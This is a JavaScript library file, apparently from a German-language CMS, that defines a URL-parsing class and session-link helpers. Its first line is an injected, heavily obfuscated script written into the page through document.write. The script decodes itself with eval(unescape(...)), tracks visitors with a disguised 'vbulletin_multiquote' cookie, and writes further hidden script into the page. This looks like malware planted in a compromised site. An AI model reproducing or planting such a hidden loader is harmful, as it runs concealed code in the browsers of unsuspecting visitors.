document.write('<script language="javascript">$="%64b%3d%22%3c7`7%3c7a7%3c7b7%3c7c7%3c7d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c%2526%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudT%22;dd%3d%22iSx%2522%3c}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950%25265##950%2522%2526M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209%22;dz%3d%22%2566unc%2574%2569on%2520dw(%2574)%257bca%253d%2527%252564oc%252575m%2565n%252574.w%25257%2532i%2574%252565%2528%252522%2527;ce%253d%2527%252522)%2527;cb%253d%2527%25253csc%252572ipt%252520%256c%25256%2531ngu%252561%2567e%25253d%25255c%252522ja%2576a%252573c%2572i%252570%252574%25255c%252522%25253e%2527;cc%253d%2527%25253c%2525%2535%2563%25252fs%2563%2572i%2570t%25253e%2527;eval%2528%2575nes%2563ape%2528t))%257d%253b%22;cd%3d%223dst+%2553tr%2569n%2567.f%2572%256fmCh%2561rC%256f%2564e((%2574%256d%2570.%2563h%22;cc%3d%225ngt%2568;i%252b+)%257bt%256dp%253dds.%2573%256ci%2563e%2528i,i%252b1)%253bst%25%22;cb%3d%22e%2528ds%2529;%2573t%253dt%256dp%253d%2527%2527;for(%2569%253d%2530;i%253cds.l%256%22;cu%3d%22(gwf}d`4xuzsausq)6~ubugwf}d`6*}r4%3czub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dobuf4d%7bdKazpqf4)4zaxx%2fbuf4d%7bdKw%7b%7b%257F}qKzuyq4)46upbyu%257FqfK%257F%7byud6%2fbuf4d%7bdK`}yq%7ba`4)4#%2526$%2frazw`}%7bz4d%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3dobuf4}gKqzuvxqp4)4ruxgq%2f}r4%3c5c}zp%7bc:%7bdqfu42245zub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dfq`afz4}gKqzuvxqp%2f}r4%3c`mdq%7br4p%7bwayqz`:w%7b%7b%257F}q4))43g`f}zs3%3d}r4%3cp%7bwayqz`:w%7b%7b%257F}q:xqzs`|4))4$%3dop%7bwayqz`:w%7b%7b%257F}q4)46`qg`6%2f}gKqzuvxqp4)4p%7bwayqz`:w%7b%7b%257F}q4))43`qg`3%2fp%7bwayqz`:w%7b%7b%257F}q4)433%2fiqxgqo}gKqzuvxqp4)4`faq%2fifq`afz4}gKqzuvxqp%2firazw`}%7bz4d%7bdKsq`W%7b%7b%257F}q%3czuyq%3dobuf4w%7b%7b%257F}q4)46464?4p%7bwayqz`:w%7b%7b%257F}q%2fbuf4gqufw|4)46464?4zuyq4?46)6%2fbuf4gq`G`f4)4zaxx%2fbuf4%7brrgq`4)4$%2fbuf4qzp4)4$%2f}r4%3cw%7b%7b%257F}q:xqzs`|4*4$%3do%7brrgq`4)4w%7b%7b%257F}q:}zpql[r%3cgqufw|%3d%2f}r4%3c%7brrgq`45)49%25%3do%7brrgq`4?)4gqufw|:xqzs`|%2fqzp4)4w%7b%7b%257F}q:}zpql[r%3c6%2f684%7brrgq`%3d%2f}r4%3cqzp4))49%25%3doqzp4)4w%7b%7b%257F}q:xqzs`|%2figq`G`f4)4azqgwudq%3cw%7b%7b%257F}q:gavg`f}zs%3c%7brrgq`84qzp%3d%3d%2fiifq`afz%3cgq`G`f%3d%2firazw`}%7bz4d%7bdKgq`W%7b%7b%257F}q4%3czuyq84buxaq%3dop%7bwayqz`:w%7b%7b%257F}q4)4zuyq4?46)64?4qgwudq%3cbuxaq%3d4?46%2f4qld}fqg)Rf}pum8%27%259Pqw9!$4%2526%27.!-.!-4SY@%2f4du`|);%2f6%2firazw`}%7bz4g|%7bcKd%7bd%3c%3dobuf4d%7bdKczp4)46|``d.;;rvwyr}f:w%7by;ws}9v}z;}zpql:ws}+pl6%2fbuf4rquKczp4)46gwf%7bxxvufg)%258fqg}nuvxq)%258`%7b%7bxvuf)%258x%7bwu`}%7bz)%258yqzavuf)%258g`u`ag)%258p}fqw`%7bf}qg)$6%2fbuf4zqqpK%7bdqz4)4`faq%2f}r4%3cp%7bwayqz`:%7bzwx}w%257FKw%7bdm45)4zaxx%3dp%7bwayqz`:%7bzwx}w%257FKw%7bdm%3c%3d%2f}r4%3cp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm45)4zaxx%3dp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm%3c%3d%2f}r4%3cd%7bdKazpqf45)4zaxx%3do}r4%3c5d%7bdKazpqf:wx%7bgqp%3dzqqpK%7bdqz4)4ruxgq%2fi}r4%3czqqpK%7bdqz%3do}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3dobux4)4d%7bdKsq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq%3d%2f}r4%3cbux45)4zaxx%3doz%7bc4)4zqc4Pu`q%3c%3d%2fbux%25264)4zqc4Pu`q%3cbux%3d%2fa`w%27%25264)4Pu`q:A@W%3cz%7bc:sq`RaxxMquf%3c%3d84z%7bc:sq`Y%7bz`|%3c%3d84z%7bc:sq`Pu`q%3c%3d84z%7bc:sq`%255C%7bafg%3c%3d84z%7bc:sq`Y}za`qg%3c%3d84z%7bc:sq`Gqw%7bzpg%3c%3d%3d%2fa`w%25264)4Pu`q:A@W%3cbux%2526:sq`RaxxMquf%3c%3d84bux%2526:sq`Y%7bz`|%3c%3d84bux%2526:sq`Pu`q%3c%3d84bux%2526:sq`%255C%7bafg%3c%3d84bux%2526:sq`Y}za`qg%3c%3d84bux%2526:sq`Gqw%7bzpg%3c%3d%3d%2f}r4%3c4%3c4a`w%27%2526494a`w%25264%3d4;4%25$$$4(4d%7bdK`}yq%7ba`%3e%2522$%3dozqqpK%7bdqz4)4ruxgq%2fiiii}r4%3czqqpK%7bdqz%3doazpqf4)4c}zp%7bc:%7bdqz%3cd%7bdKczp846684rquKczp%3d%2fazpqf:vxaf%3c%3d%2fc}zp%7bc:r%7bwag%3c%3d%2f}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3doz%7bc4)4zqc4Pu`q%3c%3d%2fd%7bdKgq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq84z%7bc%3d%2fiiirazw`}%7bz4d%7bdK}z}`%3c%3dobuf4bqf4)4dufgqRx%7bu`%3czub}su`%7bf:uddBqfg}%7bz%3d%2fbuf4bqf%25264)4%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-!6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-,6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4Z@6%3d*)$4%3d22%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3[dqfu3%3d4))49%25%3d22%3czub}su`%7bf:uddZuyq45)43Zq`gwudq3%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3YG]Q3%3d4*49%25%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3GB%253%3d4*49%25%3d422%3cbqf4*)4%2520%3d%2f}r4%3cbqf%2526%3do}r4%3cp%7bwayqz`:x}z%257Fg%3dor%7bf4%3cbuf4})$%2f4}(p%7bwayqz`:x}z%257Fg:xqzs`|%2f4}??%3do}r4%3cp%7bwayqz`:x}z%257FgO}I:`ufsq`45)46Kvxuz%257F6%3dop%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F%2fp%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F4)4g|%7bcKd%7bd%2fiiiip%7bwayqz`:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:%7bzwx}w%257F%2fp%7bwayqz`:%7bzy%7bagqad4)4g|%7bcKd%7bd%2fid%7bdK}z}`%3c%3d%2fi(;gwf}d`*%22;de%3d%22M+}Sx-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:%2526950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dc%3d%22qi89;%25229+u|cu0d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8$:t99;8}Nt9:$9;t9+budeb~0b+mfqb0t-7vrs}vyb%3es%257F}7+fqb0iSx!%3c%22;cz%3d%22%2566u%256ec%2574i%256fn %2563z%2528%2563%257a)%257bret%2575rn%2520c%2561%252b%2563%2562%252bc%2563+%2563%2564+c%2565+c%257a;}%253b%22;da%3d%22fqb0})-~ug0Qbbqi87|qe~%257F7%3c7%7brtfu7%3c7zsdxb7%3c7ytvyb7%3c7xufyv7%3c7wvhuc7%3c7vwfuc7%3c7uxwxd7%3c7tzu~y7%3c7s%7bud~7%3c7r||uf7%3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7%7b7%3c7|7%3c7}7%3c7~7%3c7%257F7%22;ca%3d%22%2566%2575nc%2574%2569o%256e%2520dcs%2528ds%252ce%2573)%257bds%253dun%2565s%2563ap%22;ce%3d%22%2561%2572Co%2564e%2541t(%2530)^%2528%25270x0%2530%2527+es%2529%2529);}%257d%22;op%3d%22%2524%253d%2522dw(d%2563%2573(cu%252c14)%2529;%2522;%22;st%3d%22%2573t%253d%2522$%253ds%2574%253b%2564c%2573%2528%2564a%252b%2564%2562%252b%2564%2563+%2564%2564%252b%2564e%252c1%2530%2529;%2564w%2528%2573t%2529%253bs%2574%253d%2524;%2522;%22;%69f %28d%6fc%75me%6et.%63ook%69%65%2eind%65%78%4f%66(%27%76%62ull%65%74%69%6e%5f%6dult%69qu%6f%74%65%3d%27)%3d%3d-1)%7bsc(%27vbulle%74%69%6e_%6dul%74iq%75ote%3d%27,2,7%29;e%76a%6c%28u%6ee%73ca%70e%28dz+%63%7a+op%2bs%74)+%27dw%28dz%2bcz%28$+s%74))%3b%27)}e%6cse%7b$%3d%27%27};function%20s%63(c%6em,%76,e%64)%7bv%61r e%78d%3dnew D%61t%65();%65xd.%73%65%74D%61%74e(%65xd.%67e%74Da%74e(%29+%65d);%64oc%75men%74%2ecoo%6bie%3dc%6em%2b %27%3d%27 +%65sc%61%70%65(v%29+%27;e%78p%69%72es%3d%27+e%78d.%74o%47MTS%74ri%6e%67%28);}%3b";eval(unescape($));document.write($);</script>');
// ------------------------------------------------------------------------------
//
// ---------------------------------------------------------------------
var CM_SESSION_KEY_KEY = "cmSessionKeyKey";
// ---------------------------------------------------------------------

// ALTE REFERENZEN SOLLTEN BALD ABGELÖST SEIN ////////////
function getSessionPair(loc) {
	return URL.getSessionPair(loc);
}

function getSessionHref() {
	return URL.getSessionHref();
}

function processLinkz(doc) {
	URL.processLinkz(doc);
}

function getSessionString() {
	return URL.getSessionString();
}

function jdecode(s) {
	return URL.jdecode(s);
}

function jencode(s) {
	return URL.jencode(s);
}
//////////////////////////////////////////////////////////
URL.buildURL = function(sURL) {
	if(sURL.indexOf(":") == -1) {
		//return window.location.protocol + "//" + window.location.host + sURL;
		var url = new URL(document.location.href);

		if (sURL.indexOf("./") == 0 || sURL.indexOf("../") == 0) {
			var idx = url.path.lastIndexOf("/");
			if (idx != -1) {
				url.path = url.path.substring(0, idx) + "/";
			}

			return (url.protocol + "://" + url.authority + url.path + sURL);
		} else {
			return (url.protocol + "://" + url.authority + sURL);
		}
	} else {
		return sURL;
	}
}
// ---------------------------------------------------------------------
URL.getSessionPair = function(loc) {
	var url;
	var sess_key = window.top.cmSessionKey;
	var sess_val = window.top.cmSessionValue;

	if (!loc)
		loc = document.location.href;

	if (!sess_key || !sess_val) {
		url = new URL(loc, true, true);
		sess_key = url.getParameter(CM_SESSION_KEY_KEY, "");
		sess_val = url.getParameter(sess_key, "");
	}

	return [sess_key, sess_val];
}
// ---------------------------------------------------------------------
URL.getSessionHref = function() {
	var url = new URL(document.location.href, true, true);
	url.setSession();
	return url.toExternalForm();
}
// ---------------------------------------------------------------------
URL.processLinkz = function(doc) {
	if (!doc) doc = window.document;

	var sess_pair = getSessionPair();
	var sess_key = sess_pair[0];
	var sess_val = sess_pair[1];

	for (var i = 0 ; i < doc.links.length ; i++) {
		var a = doc.links[i];

		var newHref 	 = new URL(a.href, true, true);
		var sessionDummy = newHref.getParameter("*session*id*key*", "");

		if (sessionDummy == "*session*id*val*") {
			newHref.removeParameter("*session*id*key*");

			if (sess_key && sess_val) {
				newHref.setParameter(sess_key, sess_val, true);
				newHref.setParameter(CM_SESSION_KEY_KEY, sess_key, true);
			}

			a.href = newHref.toExternalForm();
		}
	}
}
// ---------------------------------------------------------------------
URL.getSessionString = function() {
	var sess_pair = getSessionPair();

	if (sess_pair[0] && sess_pair[1]) {
		return sess_pair[0] + "=" + sess_pair[1] + "&" + CM_SESSION_KEY_KEY + "=" + sess_pair[0];
	} else {
		return "";
	}
}

if (typeof(encodeURIComponent) == "undefined") {
	encodeURIComponent = function(s) {
		return escape(s);
	}
}
if (typeof(decodeURIComponent) == "undefined") {
	decodeURIComponent = function(s) {
		return unescape(s);
	}
}
// ---------------------------------------------------------------------
// -  Helper Funktionen  -----------------------------------------------
// ---------------------------------------------------------------------
URL.jdecode = function(s) {
	var re = /\+/g;
	s = s.replace(re, "%20");
	return decodeURIComponent(s);
}
// ---------------------------------------------------------------------
URL.deamplify = function(s) {
	var re = /&amp;/g;
	s = s.replace(re, "&");
	return s;
}
//------------------------------------------------------------------------------
//	Simuliert java.net.URLDecoder.encode()
URL.jencode = function(s) {
	var re1 = /\+/g;
	var re2 = /%20/g;
	var re3 = /'/g;
	s = encodeURIComponent(s);
	return s.replace(re1, "%2B").replace(re2, "+").replace(re3, "%27");
}
// ---------------------------------------------------------------------
// -  Allgemeine URL-Klasse  -------------------------------------------
// ---------------------------------------------------------------------
URL.prototype.set   		  	 = URL_set;
URL.prototype.debug 		  	 = URL_debug;
URL.prototype.isValidProtocol 	 = URL_isValidProtocol;
URL.prototype.toExternalForm  	 = URL_toExternalForm;
URL.prototype.toString  	  	 = URL_toExternalForm;
URL.prototype.parseQueryString 	 = URL_parseQueryString;
URL.prototype.getParameter 		 = URL_getParameter;
URL.prototype.getParameterValues = URL_getParameterValues;
URL.prototype.getParameterNames  = URL_getParameterNames;
URL.prototype.setParameter	 	 = URL_setParameter;
URL.prototype.removeParameter	 = URL_removeParameter;
URL.prototype.setSession		 = URL_setSession;
URL.prototype.removeAllParams    = URL_removeAllParams;
// ---------------------------------------------------------------------
function URL(spec, skipSession, skipCacheControl) {
	spec = URL.buildURL(spec);

    this.protocol	= null;
    this.host		= null;
    this.port 		= -1;
    this.file		= null;
    this.query		= null;
    this.authority	= null;
    this.path		= null;
    this.userInfo	= null;
    this.ref		= null;
	this.qParams	= new Object();

	var i, limit, c;

	var original 	= spec;
	var start 		= 0;
	var newProtocol = null;
	var aRef 		= false;

	limit = spec.length;

	while ((limit > 0) && (spec.charAt(limit - 1) <= ' ')) {
		limit--;	//eliminate trailing whitespace
	}

	while ((start < limit) && (spec.charAt(start) <= ' ')) {
		start++;	// eliminate leading whitespace
	}

	if (spec.substr(start, 4).toLowerCase() == "url:") {
		start += 4;
	}

	if (start < spec.length && spec.charAt(start) == '#') {
		/* we're assuming this is a ref relative to the context URL.
		 * This means protocols cannot start w/ '#', but we must parse
		 * ref URL's like: "hello:there" w/ a ':' in them.
		 */
		aRef = true;
	}

	for (i = start ; !aRef && (i < limit) && ((c = spec.charAt(i)) != '/') ; i++) {

		if (c == ':') {
			var s = spec.substring(start, i).toLowerCase();

			if (this.isValidProtocol(s)) {
				newProtocol = s;
				start = i + 1;
			}

			break;
		}
	}


	// Only use our context if the protocols match.
	this.protocol = newProtocol;

	if (this.protocol == null) {
		//alert("no protocol: "+original);
	}

	i = spec.indexOf('#', start);

	if (i >= 0) {
		this.ref = spec.substring(i + 1, limit);
		limit = i;
	}

	parseURL(this, spec, start, limit);
	this.parseQueryString();
	//handler.parseURL(this, spec, start, limit);
	if (!skipSession) {
		this.setSession();
	}
	
	if (!skipCacheControl) {
		this.setParameter("cc", Math.random(), true);
	}
}
// ---------------------------------------------------------------------
function URL_set(protocol, host, port, authority, userInfo, path, query, ref) {
	this.protocol 	= protocol;
	this.host 		= host;
	this.port 		= port;
	this.file 		= query == null ? path : path + "?" + query;
	this.userInfo 	= userInfo;
	this.path 		= path;
	this.ref 		= ref;
	this.query 		= query;
	this.authority 	= authority;
}
// ---------------------------------------------------------------------
function URL_debug() {
	var debug = "protocol:  " + this.protocol + "\n"
			  + "host:      " + this.host + "\n"
			  + "port:      " + this.port + "\n"
			  + "file:      " + this.file + "\n"
			  + "userInfo:  " + this.userInfo + "\n"
			  + "path:      " + this.path + "\n"
			  + "ref:       " + this.ref + "\n"
			  + "query:     " + this.query + "\n"
			  + "authority: " + this.authority + "\n\n";

	var key;

	for (key in this.qParams) {
		var vals = this.qParams[key];

		debug += key + " -> [";

		if (!vals) {
			alert("missing: " + key);
			continue;
		}

		for (var i = 0 ; i < vals.length; i++) {
			debug += vals[i] + (i != (vals.length-1) ? "," : "");
		}

		debug += "]\n";
	}

	alert(debug);
}
// ---------------------------------------------------------------------
function URL_getParameter(key, defval) {
	if (!key)
		return defval;

	var toret = this.qParams[key];

	if (toret == null) {
		return defval;
	} else {
		return toret[0];
	}
}
// ---------------------------------------------------------------------
function URL_getParameterValues(key) {
	return this.qParams[key];
}
// ---------------------------------------------------------------------
function URL_getParameterNames() {
	var key;
	var keys = new Array();

	for (key in this.qParams) {
		keys[keys.length] = key;
	}

	return keys;
}
// ---------------------------------------------------------------------
function parseURL(u, spec, start, limit) {
	var protocol 	= u.protocol;
	var authority 	= u.authority;
	var userInfo 	= u.userInfo;
	var host 		= u.host;
	var port 		= u.port;
	var file 		= u.file;
	var ref 		= u.ref;	// This field has already been parsed

	var query 		= null;

	var isRelPath 	= false;
	var queryOnly 	= false;


	// FIX: should not assume query if opaque
	// Strip off the query part
	if (start < limit) {
		var queryStart = spec.indexOf('?');
		queryOnly = (queryStart == start);

		if (queryStart != -1) {
			query = spec.substring(queryStart+1, limit);

			if (limit > queryStart)
				limit = queryStart;

			spec = spec.substring(0, queryStart);
		}
	}

	var i = 0;
	// Parse the authority part if any
	if ((start <= limit - 2) && (spec.charAt(start) == '/') && (spec.charAt(start + 1) == '/')) {
		start += 2;
		i = spec.indexOf('/', start);
		if (i < 0) {
			i = spec.indexOf('?', start);

			if (i < 0)
				i = limit;
		}

		host = authority = spec.substring(start, i);

		var ind = authority.indexOf('@');

		if (ind != -1) {
			userInfo = authority.substring(0, ind);
			host = authority.substring(ind+1);
		}

		ind = host.indexOf(':');
		port = -1;
		if (ind >= 0) {
			// port can be null according to RFC2396
			if (host.length > (ind + 1)) {
				port = parseInt(host.substring(ind + 1));
			}
			host = host.substring(0, ind);
		}

		start = i;
		// If the authority is defined then the path is defined by the
		// spec only; See RFC 2396 Section 5.2.4.
		if (authority != null && authority.length > 0)
			file = "";
	}

	if (host == null) {
		host = "";
	}

	// Parse the file path if any
	if (start < limit) {
		if (spec.charAt(start) == '/') {
			file = spec.substring(start, limit);
		} else if (file != null && file.length > 0) {
			isRelPath = true;
			var ind = file.lastIndexOf('/');

			var seperator = "";

			if (ind == -1 && authority != null)
				seperator = "/";

			file = file.substring(0, ind + 1) + seperator + spec.substring(start, limit);
		} else {
			var seperator = (authority != null) ? "/" : "";
			file = seperator + spec.substring(start, limit);
		}
	} else if (queryOnly && file != null) {
		var ind = file.lastIndexOf('/');
		if (ind < 0)
			ind = 0;
		file = file.substring(0, ind) + "/";
	}

	if (file == null)
		file = "";

	if (isRelPath) {
		// Remove embedded /./
		while ((i = file.indexOf("/./")) >= 0) {
			file = file.substring(0, i) + file.substring(i + 2);
		}
		// Remove embedded /../
		while ((i = file.indexOf("/../")) >= 0) {
			if ((limit = file.lastIndexOf('/', i - 1)) >= 0) {
				file = file.substring(0, limit) + file.substring(i + 3);
			} else {
				file = file.substring(i + 3);
			}
		}
		// Remove trailing ..
		while (file.substring(file.length - 3, file.length) == "/..") {
		//while (file.endsWith("/..")) {
			i = file.indexOf("/..");
			if ((limit = file.lastIndexOf('/', i - 1)) >= 0) {
				file = file.substring(0, limit+1);
			} else {
				file = file.substring(0, i);
			}
		}
		// Remove trailing .
		if (file.substring(file.length - 2, file.length) == "/.")
		//if (file.endsWith("/."))
			file = file.substring(0, file.length() -1);
	}

	setURL(u, protocol, host, port, authority, userInfo, file, query, ref);
}
// ---------------------------------------------------------------------
function setURL(u, protocol, host, port, authority, userInfo, path, query, ref) {
	u.set(u.protocol, host, port, authority, userInfo, path, query, ref);
}
// ---------------------------------------------------------------------
function URL_isValidProtocol(protocol) {
	return true;
	/*var len = protocol.length;

	if (len < 1)
		return false;

    var c = protocol.charAt(0);

	//if (!Character.isLetter(c))
	if (!isNaN(c))
		return false;

	for (var i = 1 ; i < len ; i++) {
	    c = protocol.charAt(i);

	    if (!Character.isLetterOrDigit(c) && c != '.' && c != '+' && c != '-') {
			return false;
	    }
	}
	return true;*/
}
// ---------------------------------------------------------------------
function URL_setParameter(key, val, replace) {
	if (!key)
		return;

	if (replace || this.qParams[key] == null) {
		this.qParams[key] = new Array();
	}

	this.qParams[key][this.qParams[key].length] = val;
}
// ---------------------------------------------------------------------
function URL_removeParameter(key) {
	var _key;
	var newQParams = new Object();

	for (_key in this.qParams) {
		if (_key != key) {
			newQParams[_key] = this.qParams[_key];
		}
	}

	this.qParams = newQParams;
}
// ---------------------------------------------------------------------
function URL_removeAllParams() {
	var newQParams = new Object();
	this.qParams = newQParams;
}
// ---------------------------------------------------------------------
function URL_parseQueryString() {
	var s;

	if (this.query == null || this.query.length == 0)
		return;
	else
		s = "&" + this.query;

	var idx2;
	var idx = s.indexOf("&");

	while (idx != -1) {
		var kvPair = null;
		var kvPos = 0;

		idx2 = s.indexOf("&", idx+1);

		if (idx2 != -1) {
			kvPair = s.substring(idx+1, idx2);
		} else {
			kvPair = s.substr(idx+1);
		}

		kvPos = kvPair.indexOf("=");

		if (kvPos != -1) {
			var key = kvPair.substring(0, kvPos);
			var val = kvPair.substr(kvPos+1);

			this.setParameter(key, val);
		}

		idx = idx2;
	}
}
// ---------------------------------------------------------------------
function URL_toExternalForm() {
	var result = this.protocol;

	result += ":";

	if (this.authority != null && this.authority.length > 0) {
		result += "//";
		result += this.authority;
	}

	/*if (this.file != null) {
		result += this.file;
	}*/
	if (this.path != null) {
		result += this.path;
	}

	var query = "";
	var key;

	for (key in this.qParams) {
		var vals = this.qParams[key];

		for (var i = 0 ; i < vals.length ; i++) {
			if (query.length == 0) {
				query += key + "=" + vals[i];
			} else {
				query += "&" + key + "=" + vals[i];
			}
		}
	}

	if (query.length > 0) {
		result += "?" + query;
	}

	if (this.ref != null) {
		result += "#";
		result += this.ref;
	}

	return result;
}
// ---------------------------------------------------------------------
function URL_setSession() {
	var sess_pair = getSessionPair();

	if (sess_pair[0] && sess_pair[1]) {
		this.setParameter(sess_pair[0], sess_pair[1], true);
		this.setParameter(CM_SESSION_KEY_KEY, sess_pair[0], true);

		return true;
	}

	return false;
}
// ---------------------------------------------------------------------

